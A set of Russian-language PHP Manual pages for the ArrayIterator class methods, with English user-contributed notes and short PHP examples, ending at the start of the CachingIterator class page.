This helped me to treat the ArrayIterator as a list with valid indexes in a serial manner.
lenye01 at gmail dot com 10-Feb-2011 08:11
we can append values after the given array,the index is begin from 0, for example:

<?php
$b = array('name'=>'mengzhi','age'=>'22','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
var_dump($a);
?>

then output:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }


Сортирует элементы по значениям

  • « ArrayIterator::append
  • ArrayIterator::__construct »
  • PHP Manual
  • ArrayIterator
  • Сортирует элементы по значениям

ArrayIterator::asort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::asort — Сортирует элементы по значениям

Описание

public ArrayIterator::asort(int $flags = SORT_REGULAR): true

Сортирует элементы по значениям.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типа сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строки на основе текущего языкового стандарта. Используется языковой стандарт, который можно изменить с помощью setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Смотрите также

  • ArrayIterator::ksort() - Сортирует элементы по ключам
  • ArrayIterator::natcasesort() - Сортирует элементы "натурально", с учётом регистра
  • ArrayIterator::natsort() - Сортирует элементы "натурально"
  • ArrayIterator::uasort() - Сортировка с помощью заданной пользователем функции и сохранением ключей
  • ArrayIterator::uksort() - Сортировка по ключам с помощью заданной функции сравнения
  • asort() - Сортирует массив в порядке возрастания и поддерживает ассоциацию индексов

User Contributed Notes

There are no user contributed notes for this page.


Создаёт ArrayIterator

  • « ArrayIterator::asort
  • ArrayIterator::count »
  • PHP Manual
  • ArrayIterator
  • Создаёт ArrayIterator

ArrayIterator::__construct

(PHP 5, PHP 7, PHP 8)

ArrayIterator::__construct — Создаёт ArrayIterator

Описание

public ArrayIterator::__construct(array|object $array = [], int $flags = 0)

Создаёт ArrayIterator типа object.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

array

Массив или объект, который может быть итерирован.

flags

Флаги для управления поведением объекта ArrayIterator. Смотрите ArrayIterator::setFlags().

Смотрите также

  • ArrayIterator::getArrayCopy() - Возвращает копию массива

User Contributed Notes

There are no user contributed notes for this page.


Посчитать количество элементов

  • « ArrayIterator::__construct
  • ArrayIterator::current »
  • PHP Manual
  • ArrayIterator
  • Посчитать количество элементов

ArrayIterator::count

(PHP 5, PHP 7, PHP 8)

ArrayIterator::count — Посчитать количество элементов

Описание

public ArrayIterator::count(): int

Возвращает количество элементов в массиве (array) или количество публичных свойств объекта (object).

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество элементов или публичных свойств в ассоциативном массиве (array) или объекте (object) соответственно.

Смотрите также

  • ArrayIterator::getFlags() - Получает флаги поведения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий элемент в массиве

  • « ArrayIterator::count
  • ArrayIterator::getArrayCopy »
  • PHP Manual
  • ArrayIterator
  • Возвращает текущий элемент в массиве

ArrayIterator::current

(PHP 5, PHP 7, PHP 8)

ArrayIterator::current — Возвращает текущий элемент в массиве

Описание

public ArrayIterator::current(): mixed

Возвращает текущий элемент в массиве (array).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущий элемент в массиве (array).

Примеры

Пример #1 Пример использования ArrayIterator::current()

<?php
$array = array('1' => 'one',
'2' => 'two',
'3' => 'three');

$arrayobject = new ArrayObject($array);

for($iterator = $arrayobject->getIterator();
$iterator->valid();
$iterator->next()) {

echo $iterator->key() . ' => ' . $iterator->current() . "\n";
}
?>

Результат выполнения данного примера:

1 => one
2 => two
3 => three

User Contributed Notes

pcdinh at phpvietnam dot net 20-Mar-2006 05:47
ArrayIterator is only used for interating simple arrays of which the value part is not another array. You can test it with a more complex array like this:

$arr = array (
    \\\'Section 1\\\' => array (
        \\\'Cat 1\\\' => array (
            1 => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            2 => \\\'So 2\\\'
        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    ),

    \\\'Section 2\\\' => array (
        \\\'Cat 1\\\' => array (

        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    )
);

$arrayobject = new ArrayObject($arr);

for($iterator = $arrayobject->getIterator();
   $iterator->valid();
   $iterator->next()) {

   echo $iterator->key() . \\\' => \\\' . $iterator->current() . \\\"<br />\\\";
}

The above scriptlet will return

Section 1 => Array
Section 2 => Array

because it can not recursively iterate throught the array.

Do the following instead (in PHP5.1):

$arrayIterator = new RecursiveArrayIterator($arr);
$iterator = new RecursiveIteratorIterator($arrayIterator);
foreach ($iterator as $val) {
    echo $val.\\\'<br/>\\\';
}


Возвращает копию массива

  • « ArrayIterator::current
  • ArrayIterator::getFlags »
  • PHP Manual
  • ArrayIterator
  • Возвращает копию массива

ArrayIterator::getArrayCopy

(PHP 5, PHP 7, PHP 8)

ArrayIterator::getArrayCopy — Возвращает копию массива

Описание

public ArrayIterator::getArrayCopy(): array

Возвращает копию массива.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Копия массива (array) или массив публичных свойств, если ArrayIterator указывает на объект (object).

Смотрите также

  • ArrayIterator::valid() - Проверяет, содержит ли массив ещё записи

User Contributed Notes

irvine L 06-Jan-2018 05:12
Just in case some of you out there do NOT know this:

(a). 'getArrayCopy()', returns a copy of the ORIGINAL array - iterator object. Therefore, using (for example) 'LimitIterator' on an array-object, and then calling 'getArrayCopy' afterwards, might not return the current (adjusted) object.

(b). Instead, use the 'iterator_to_array' function, in order to access, or return, the current state of the array-object-iterator (whatever). Using the example above (in '(a)'); passing the 'LimitIterator' object into 'iterator_to_array', should return the CURRENT, and NOT ORIGINAL state of your array (iterator object).
lenye01 at gmail dot com 11-Feb-2011 02:20
the difference of this method and the direct assign the object to a value is as follows:

<?php
$b = array('name'=>'mengzhi','age'=>'12','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
$c = $a->getArrayCopy();
var_dump($a);
var_dump($c);
?>
result:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }

array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } }


Получает флаги поведения

  • « ArrayIterator::getArrayCopy
  • ArrayIterator::key »
  • PHP Manual
  • ArrayIterator
  • Получает флаги поведения

ArrayIterator::getFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayIterator::getFlags — Получает флаги поведения

Описание

public ArrayIterator::getFlags(): int

Получает флаги поведения ArrayIterator. Смотрите метод ArrayIterator::setFlags для просмотра списка доступных флагов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает флаги поведения ArrayIterator.

Смотрите также

  • ArrayIterator::setFlags() - Устанавливает флаги, изменяющие поведение ArrayIterator
  • ArrayIterator::valid() - Проверяет, содержит ли массив ещё записи

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ключ текущего элемента массива

  • « ArrayIterator::getFlags
  • ArrayIterator::ksort »
  • PHP Manual
  • ArrayIterator
  • Возвращает ключ текущего элемента массива

ArrayIterator::key

(PHP 5, PHP 7, PHP 8)

ArrayIterator::key — Возвращает ключ текущего элемента массива

Описание

public ArrayIterator::key(): string|int|null

Эта функция возвращает ключ текущего элемента массива

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ключ текущего элемента в массиве (array).

Примеры

Пример #1 Пример использования ArrayIterator::key()

<?php
$array = array('key' => 'value');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

echo $iterator->key(); //key
?>

User Contributed Notes

There are no user contributed notes for this page.


Сортирует элементы по ключам

  • « ArrayIterator::key
  • ArrayIterator::natcasesort »
  • PHP Manual
  • ArrayIterator
  • Сортирует элементы по ключам

ArrayIterator::ksort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::ksort — Сортирует элементы по ключам

Описание

public ArrayIterator::ksort(int $flags = SORT_REGULAR): true

Сортирует элементы по ключам.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типа сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строки на основе текущего языкового стандарта. Используется языковой стандарт, который можно изменить с помощью setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Смотрите также

  • ArrayIterator::asort() - Сортирует элементы по значениям
  • ArrayIterator::natcasesort() - Сортирует элементы "натурально", с учётом регистра
  • ArrayIterator::natsort() - Сортирует элементы "натурально"
  • ArrayIterator::uasort() - Сортировка с помощью заданной пользователем функции и сохранением ключей
  • ArrayIterator::uksort() - Сортировка по ключам с помощью заданной функции сравнения
  • ksort() - Сортирует массив по ключу в порядке возрастания

User Contributed Notes

There are no user contributed notes for this page.


Сортирует элементы "натурально", с учётом регистра

  • « ArrayIterator::ksort
  • ArrayIterator::natsort »
  • PHP Manual
  • ArrayIterator
  • Сортирует элементы "натурально", с учётом регистра

ArrayIterator::natcasesort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::natcasesort — Сортирует элементы "натурально", с учётом регистра

Описание

public ArrayIterator::natcasesort(): true

Сортирует записи в массиве по значениям, используя алгоритм натуральной сортировки с учётом регистра.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Смотрите также

  • ArrayIterator::asort() - Сортирует элементы по значениям
  • ArrayIterator::ksort() - Сортирует элементы по ключам
  • ArrayIterator::natsort() - Сортирует элементы "натурально"
  • ArrayIterator::uasort() - Сортировка с помощью заданной пользователем функции и сохранением ключей
  • ArrayIterator::uksort() - Сортировка по ключам с помощью заданной функции сравнения
  • natcasesort() - Сортирует массив, используя алгоритм "natural order" без учёта регистра символов

User Contributed Notes

There are no user contributed notes for this page.


Сортирует элементы "натурально"

  • « ArrayIterator::natcasesort
  • ArrayIterator::next »
  • PHP Manual
  • ArrayIterator
  • Сортирует элементы "натурально"

ArrayIterator::natsort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::natsort — Сортирует элементы "натурально"

Описание

public ArrayIterator::natsort(): true

Сортирует записи в массиве по значениям, используя алгоритм натуральной сортировки.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Смотрите также

  • ArrayIterator::asort() - Сортирует элементы по значениям
  • ArrayIterator::ksort() - Сортирует элементы по ключам
  • ArrayIterator::natsort()
  • ArrayIterator::uasort() - Сортировка с помощью заданной пользователем функции и сохранением ключей
  • ArrayIterator::uksort() - Сортировка по ключам с помощью заданной функции сравнения
  • natsort() - Сортирует массив, используя алгоритм "natural order"

User Contributed Notes

There are no user contributed notes for this page.


Перемещает указатель за следующую запись

  • « ArrayIterator::natsort
  • ArrayIterator::offsetExists »
  • PHP Manual
  • ArrayIterator
  • Перемещает указатель за следующую запись

ArrayIterator::next

(PHP 5, PHP 7, PHP 8)

ArrayIterator::next — Перемещает указатель за следующую запись

Описание

public ArrayIterator::next(): void

Перемещает указатель на следующую запись в массиве.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ArrayIterator::next()

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
echo $iterator->key() . ' => ' . $iterator->current() . "\n";

$iterator->next();
}
?>

Результат выполнения данного примера:

0 => zero
1 => one

User Contributed Notes

onelsonsenna at gmail dot com 06-Oct-2011 11:09
If you use exchangeArray method of ArrayObject and then next method of ArrayIterator like this:

<?php

    $fruits = array("apple", "grape", "lemon");

    $colors = array("blue", "yellow", "green");

    $arrayObject = new ArrayObject($fruits);

    $arrayIterator = $arrayObject->getIterator();

    while($arrayIterator->valid()) {

        if ($arrayIterator->current() == "grape") {
            $arrayObject->exchangeArray($colors);
        }

        $arrayIterator->next();
    }

?>

You will receive:

PHP Notice:  ArrayIterator::next(): Array was modified outside object and internal position is no longer valid

So be careful with next and prev operations. :)


Проверяет существует ли смещение

  • « ArrayIterator::next
  • ArrayIterator::offsetGet »
  • PHP Manual
  • ArrayIterator
  • Проверяет существует ли смещение

ArrayIterator::offsetExists

(PHP 5, PHP 7, PHP 8)

ArrayIterator::offsetExists — Проверяет существует ли смещение

Описание

public ArrayIterator::offsetExists(mixed $key): bool

Проверяет существует ли смещение.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

key

Проверяемое смещение.

Возвращаемые значения

Возвращает true, если смещение существует, в противном случае - false

Смотрите также

  • ArrayIterator::valid() - Проверяет, содержит ли массив ещё записи

User Contributed Notes

There are no user contributed notes for this page.


Получает значение для смещения

  • « ArrayIterator::offsetExists
  • ArrayIterator::offsetSet »
  • PHP Manual
  • ArrayIterator
  • Получает значение для смещения

ArrayIterator::offsetGet

(PHP 5, PHP 7, PHP 8)

ArrayIterator::offsetGet — Получает значение для смещения

Описание

public ArrayIterator::offsetGet(mixed $key): mixed

Получает значение из предоставленного смещения.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

key

Смещение, из которого необходимо получить значения.

Возвращаемые значения

Значение по смещению key.

Смотрите также

  • ArrayIterator::offsetSet() - Устанавливает значение для смещения
  • ArrayIterator::offsetUnset() - Сбрасывает значение по смещению

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение для смещения

  • « ArrayIterator::offsetGet
  • ArrayIterator::offsetUnset »
  • PHP Manual
  • ArrayIterator
  • Устанавливает значение для смещения

ArrayIterator::offsetSet

(PHP 5, PHP 7, PHP 8)

ArrayIterator::offsetSet — Устанавливает значение для смещения

Описание

public ArrayIterator::offsetSet(mixed $key, mixed $value): void

Устанавливает значение для данного смещения.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

key

Индекс для установки значения.

value

Новое значение для хранения в индексе.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • ArrayIterator::offsetGet() - Получает значение для смещения
  • ArrayIterator::offsetUnset() - Сбрасывает значение по смещению

User Contributed Notes

shiranai7 at NOSPAM dot hotmail dot NOSPAM dot com 05-Dec-2011 12:52
The $index argument seems to be NULL for append operations, e.g.:

<?php

// example extension class
class Test extends ArrayIterator
{
    public function offsetSet($index, $newval)
    {
        echo 'Test::offsetSet('.var_export($index, true).', '.var_export($newval, true).")\n";
    }
}

// test
$i = new Test;
$i[] = 'append a value';

?>

The result is:

Test::offsetSet(NULL, 'append a value')


Сбрасывает значение по смещению

  • « ArrayIterator::offsetSet
  • ArrayIterator::rewind »
  • PHP Manual
  • ArrayIterator
  • Сбрасывает значение по смещению

ArrayIterator::offsetUnset

(PHP 5, PHP 7, PHP 8)

ArrayIterator::offsetUnset — Сбрасывает значение по смещению

Описание

public ArrayIterator::offsetUnset(mixed $key): void

Сбрасывает значение по смещению.

Если итерация выполняется и ArrayIterator::offsetUnset() используется для сброса текущего индекса итерации, позиция итерации будет смещена к следующему индексу. Поскольку позиция итерации также смещается в конце foreach в теле цикла, использование ArrayIterator::offsetUnset() внутри цикла foreach может привести к пропуску индексов.

Список параметров

key

Смещение для сброса.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • ArrayIterator::offsetGet() - Получает значение для смещения
  • ArrayIterator::offsetSet() - Устанавливает значение для смещения

User Contributed Notes

rkos... 14-Feb-2014 09:11
This is my solution for problem with offsetUnset
<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid();  )
{
    echo "#{$b->key()} - {$b->current()} - <br>\r\n";
    if($b->key()==0 || $b->key()==1){
        $b->offsetUnset( $b->key() );
    }else {
        $b->next();
    }
}

var_dump($b);
?>
olav at fwt dot no 07-Jul-2011 04:12
When unsetting elements as you go it will not remove the second index of the Array being worked on. Im not sure exactly why but there is some speculations that when calling unsetOffset(); it resets the pointer aswell.

<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid(); $b->next() )
{
    echo "#{$b->key()} - {$b->current()} - \r\n";
    $b->offsetUnset( $b->key() );
}

?>

To avoid this bug you can call offsetUnset in the for loop

<?php
/*** ... ***/
for ( $b->rewind(); $b->valid(); $b->offsetUnset( $b->key() ) )
{
/*** ... ***/
?>

Or unset it directly in the ArrayObject
<?php
/*** ... ***/
    $a->offsetUnset( $b->key() );
/*** ... ***/
?>

which will produce correct results
Adil Baig @ AIdezigns 23-Jun-2011 11:23
Make sure you use this function to unset a value. You can't access this iterator's values as an array. Ex:

<?php
$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));

foreach($iterator as $key => $value)
{
    unset($iterator[$key]);
}
?>

Will return :

PHP Fatal error:  Cannot use object of type RecursiveIteratorIterator as array

offsetUnset works properly even when removing items from nested arrays.


Перемещает указатель в начало массива

  • « ArrayIterator::offsetUnset
  • ArrayIterator::seek »
  • PHP Manual
  • ArrayIterator
  • Перемещает указатель в начало массива

ArrayIterator::rewind

(PHP 5, PHP 7, PHP 8)

ArrayIterator::rewind — Перемещает указатель в начало массива

Описание

public ArrayIterator::rewind(): void

Перемещает указатель на первый элемент в массиве

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ArrayIterator::rewind()

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'ноль';
$arrayobject[] = 'один';
$arrayobject[] = 'два';

$iterator = $arrayobject->getIterator();

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); // перемещает указатель в начало массива
echo $iterator->key(); //0
?>

User Contributed Notes

There are no user contributed notes for this page.


Перемещает указатель на выбранную позицию

  • « ArrayIterator::rewind
  • ArrayIterator::serialize »
  • PHP Manual
  • ArrayIterator
  • Перемещает указатель на выбранную позицию

ArrayIterator::seek

(PHP 5, PHP 7, PHP 8)

ArrayIterator::seek — Перемещает указатель на выбранную позицию

Описание

public ArrayIterator::seek(int $offset): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

offset

Позиция, на которую нужно переместить указатель.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

foalford at gmail dot com 27-Apr-2016 02:20
<?php
//seek alter the iterator's internal indice instead of the value that key() returns.
//This is a big trap if combining with uasort/natsort function.

$a = new ArrayObject([4,3,2,1]);
$it = $a->getIterator();
$it->natsort();   //The Iterator preserve the key while sorting the array
$it->rewind();
$first = $it->key();   //The first element is  1 and it's key is 3
echo $first. PHP_EOL;  // 3

$it->next();
$second = $it->key();
echo $second. PHP_EOL; //2

$it->next();
$it->seek($first);             //Was intended to seek to element 1, key 3, indice 0
echo  $it->key() . PHP_EOL; //end up 0 because seek took parameter as indice instead of key. It seek to element indice 3, element 4 key 0.

var_dump($it);

/* Output:
3
2
0
object(ArrayIterator)#2 (1) {
  ["storage":"ArrayIterator":private]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(4) {
      [3]=>
      int(1)
      [2]=>
      int(2)
      [1]=>
      int(3)
      [0]=>
      int(4)
    }
  }
}
*/
jon at ngsthings dot com 21-Oct-2008 05:08
<?php
// didn't see any code demos...here's one from an app I'm working on

$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

if($iterator->valid()){
    $iterator->seek(1);            // expected: two, output: two
    echo $iterator->current();    // two
}

?>


Сериализует массив

  • « ArrayIterator::seek
  • ArrayIterator::setFlags »
  • PHP Manual
  • ArrayIterator
  • Сериализует массив

ArrayIterator::serialize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ArrayIterator::serialize — Сериализует массив

Описание

public ArrayIterator::serialize(): string

Сериализует массив.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сериализованный ArrayIterator.

Смотрите также

  • ArrayIterator::unserialize() - Десериализация

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает флаги, изменяющие поведение ArrayIterator

  • « ArrayIterator::serialize
  • ArrayIterator::uasort »
  • PHP Manual
  • ArrayIterator
  • Устанавливает флаги, изменяющие поведение ArrayIterator

ArrayIterator::setFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayIterator::setFlags — Устанавливает флаги, изменяющие поведение ArrayIterator

Описание

public ArrayIterator::setFlags(int $flags): void

Устанавливает флаги, управляющие поведением.

Список параметров

flags

Поведение нового ArrayIterator. Принимает либо битовую маску, либо именованные константы. Использование именованных констант настоятельно рекомендуется для обеспечения совместимости с будущими версиями.

Доступные флаги поведения перечислены ниже. Фактический смысл этих флагов описан в предопределённых константах.

Флаги поведения ArrayIterator
значение | константа
1 | ArrayIterator::STD_PROP_LIST
2 | ArrayIterator::ARRAY_AS_PROPS

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • ArrayIterator::getFlags() - Получает флаги поведения

User Contributed Notes

There are no user contributed notes for this page.


Сортировка с помощью заданной пользователем функции и сохранением ключей

  • « ArrayIterator::setFlags
  • ArrayIterator::uksort »
  • PHP Manual
  • ArrayIterator
  • Сортировка с помощью заданной пользователем функции и сохранением ключей

ArrayIterator::uasort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::uasort — Сортировка с помощью заданной пользователем функции и сохранением ключей

Описание

public ArrayIterator::uasort(callable $callback): true

Сортирует записи в массиве по значениям, используя функцию сортировки, определённую пользователем и сохраняя связь ключ-значение.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

callback

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Смотрите также

  • ArrayIterator::asort() - Сортирует элементы по значениям
  • ArrayIterator::ksort() - Сортирует элементы по ключам
  • ArrayIterator::natcasesort() - Сортирует элементы "натурально", с учётом регистра
  • ArrayIterator::natsort() - Сортирует элементы "натурально"
  • ArrayIterator::uksort() - Сортировка по ключам с помощью заданной функции сравнения
  • uasort() - Сортирует массив, используя пользовательскую функцию для сравнения элементов с сохранением ключей

User Contributed Notes

There are no user contributed notes for this page.


Сортировка по ключам с помощью заданной функции сравнения

  • « ArrayIterator::uasort
  • ArrayIterator::unserialize »
  • PHP Manual
  • ArrayIterator
  • Сортировка по ключам с помощью заданной функции сравнения

ArrayIterator::uksort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::uksort — Сортировка по ключам с помощью заданной функции сравнения

Описание

public ArrayIterator::uksort(callable $callback): true

Сортирует записи в массиве по ключам, используя функцию сортировки, определённую пользователем.

Замечание:

Если оба сравниваемых значения эквивалентны, они сохраняют свой первоначальный порядок. До PHP 8.0.0 их относительный порядок в отсортированном массиве не был определён.

Список параметров

callback

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Смотрите также

  • ArrayIterator::asort() - Сортирует элементы по значениям
  • ArrayIterator::ksort() - Сортирует элементы по ключам
  • ArrayIterator::natcasesort() - Сортирует элементы "натурально", с учётом регистра
  • ArrayIterator::natsort() - Сортирует элементы "натурально"
  • ArrayIterator::uksort()
  • uksort() - Сортирует массив по ключам, используя пользовательскую функцию для сравнения ключей

User Contributed Notes

There are no user contributed notes for this page.


Десериализация

  • « ArrayIterator::uksort
  • ArrayIterator::valid »
  • PHP Manual
  • ArrayIterator
  • Десериализация

ArrayIterator::unserialize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ArrayIterator::unserialize — Десериализация

Описание

public ArrayIterator::unserialize(string $data): void

Десериализация.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Сериализованный объект ArrayIterator, который предстоит десериализовать.

Возвращаемые значения

ArrayIterator.

Смотрите также

  • ArrayIterator::serialize() - Сериализует массив

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли массив ещё записи

  • « ArrayIterator::unserialize
  • CachingIterator »
  • PHP Manual
  • ArrayIterator
  • Проверяет, содержит ли массив ещё записи

ArrayIterator::valid

(PHP 5, PHP 7, PHP 8)

ArrayIterator::valid — Проверяет, содержит ли массив ещё записи

Описание

public ArrayIterator::valid(): bool

Проверяет, содержит ли массив array ещё записи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если итератор действительный и false в противном случае.

Примеры

Пример #1 Пример использования ArrayIterator::valid()

<?php
$array = array('1' => 'one');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

var_dump($iterator->valid()); //bool(true)

$iterator->next(); // перемещаем указатель на следующий элемент

//bool(false) потому что в массиве только один элемент
var_dump($iterator->valid());
?>

User Contributed Notes

There are no user contributed notes for this page.


Класс CachingIterator

(PHP 5, PHP 7, PHP 8)

Введение

Этот объект поддерживает кеширование итерации над другим итератором.

Обзор классов

class CachingIterator extends IteratorIterator implements ArrayAccess, Countable, Stringable {
/* Константы */
public const int CALL_TOSTRING;
public const int CATCH_GET_CHILD;
public const int TOSTRING_USE_KEY;
public const int TOSTRING_USE_CURRENT;
public const int TOSTRING_USE_INNER;
public const int FULL_CACHE;
/* Методы */
public __construct(Iterator $iterator, int $flags = CachingIterator::CALL_TOSTRING)
public count(): int
public current(): mixed
public getCache(): array
public getFlags(): void
public hasNext(): bool
public key(): scalar
public next(): void
public offsetExists(string $key): bool
public offsetGet(string $key): mixed
public offsetSet(string $key, mixed $value): void
public offsetUnset(string $key): void
public rewind(): void
public setFlags(int $flags): void
public __toString(): string
public valid(): bool
/* Наследуемые методы */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Предопределённые константы

CachingIterator::CALL_TOSTRING

Преобразует каждый элемент в строку.

CachingIterator::CATCH_GET_CHILD

Не выбрасывать исключения при доступе к дочерним элементам.

